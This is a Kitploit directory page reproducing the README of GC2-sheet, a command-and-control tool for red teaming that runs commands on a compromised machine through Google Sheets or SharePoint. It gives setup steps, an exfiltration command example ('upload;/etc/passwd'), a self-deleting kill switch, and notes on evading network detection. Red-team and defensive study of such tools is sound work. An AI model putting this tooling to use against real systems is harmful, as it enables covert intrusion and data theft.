Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
GC2-sheet — GC2 is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and exfiltrate files using Google Drive or Microsoft SharePoint Document. | Kitploit
Tools/GitHubGitHub/loociprian/gc2-sheet
Data ExfiltrationMalware AnalysisCommand and ControlRed TeamingRemote Access Tool
GitHubloociprian/gc2-sheet

GC2-sheet

GC2 is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and exfiltrate files using Google Drive or Microsoft SharePoint Document.

View Repository
649121423 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GC2

Logo

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and exfiltrate files using Google Drive or Microsoft SharePoint Document.

Why

This project has been developed to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.

Furthermore, the program will interact only with Google and Microsoft's domains (like *.google.com) to make network detection more difficult.

Workflow

Google

Work Flow

Microsoft

Work Flow

Features

  • Command execution using Google Sheet or Microsoft SharePoint List as a console
  • Download files on the target using Google Drive or Microsoft SharePoint Document
  • Data exfiltration using Google Drive or Microsoft SharePoint Document
  • Self-kill switch and auto-delete from the target machine

Command execution

Google

A Google Sheet will be automatically created by the C2. Once created you can interact with the compromised system as shown below.

Sheet Permission

Microsoft

A Microsoft SharePoint List will be automatically created by the C2. Once created you can interact with the compromised system as shown below.

Sheet Permission

Data exfiltration file

Special command is reserved to exfiltrate files form the target system.

From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd

Note: files with the same name are automatically overwritten.

Download file

Special command is reserved to download files to the target system.

Google

From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt

Microsoft

Note: Files need to be saved in the SharePoint root folder, usually "Documents"

From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt

Exit

By sending the exit command, the C2 will kill and delete itself from the target system.

PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case, the symlink is deleted.

Set up

This C2 support both Google (Google Sheet + Google Drive) and Microsoft (SharePoint Lists + SharePoint Document) services. To use the C2 you need to set up both the local and cloud configuration.

Cloud config

Google

  1. Create a new Google "service account"

    Create a new Google "service account" using https://console.cloud.google.com/, create a .json key file for the service account.

  2. Enable Google Sheet API and Google Drive API

    Enable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go.

  3. Set up Google Sheet and Google Drive

    Create a new Google Sheet and share it (as Editor) with the Service Account (by using its email).

    Sheet Permission

    Create a new Google Drive folder and share it (as Editor) with the Service Account (by using its email).

    Sheet Permission

Microsoft

To interact with Microsoft services you will first need a Business subscription (you can get one for free for the first 30 days).

  1. Create an Azure Application

    Create a new Azure Aapplication as described here https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http

    Sheet Permission

    After creating the new application, enable the following Graph APIs:

    • Sites.ReadWrite.All
    • Files.ReadWrite.All

    Sheet Permission

Local config

  1. Download the C2

    The C2 can be cloned directly from GitHub:

    git clone https://github.com/looCiprian/GC2-sheet
    cd GC2-sheet
    
  2. Configure the C2

    To configure the C2 you need to modify the cmd/options.yml file. The C2 supports both Google and Microsoft services, mixing them is also possible.

    Only Google services

    CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
    FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
    GoogleServiceAccountKey : "1234567890" # your escaped json file
    GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
    GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
    #RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
    #Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
    Verbose: true # optional, suggested for debugging purposes
    

    Your Google service account key must be escaped before pasting it in the configuration file. You can use the following command to escape it:

    cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
    
Download Tool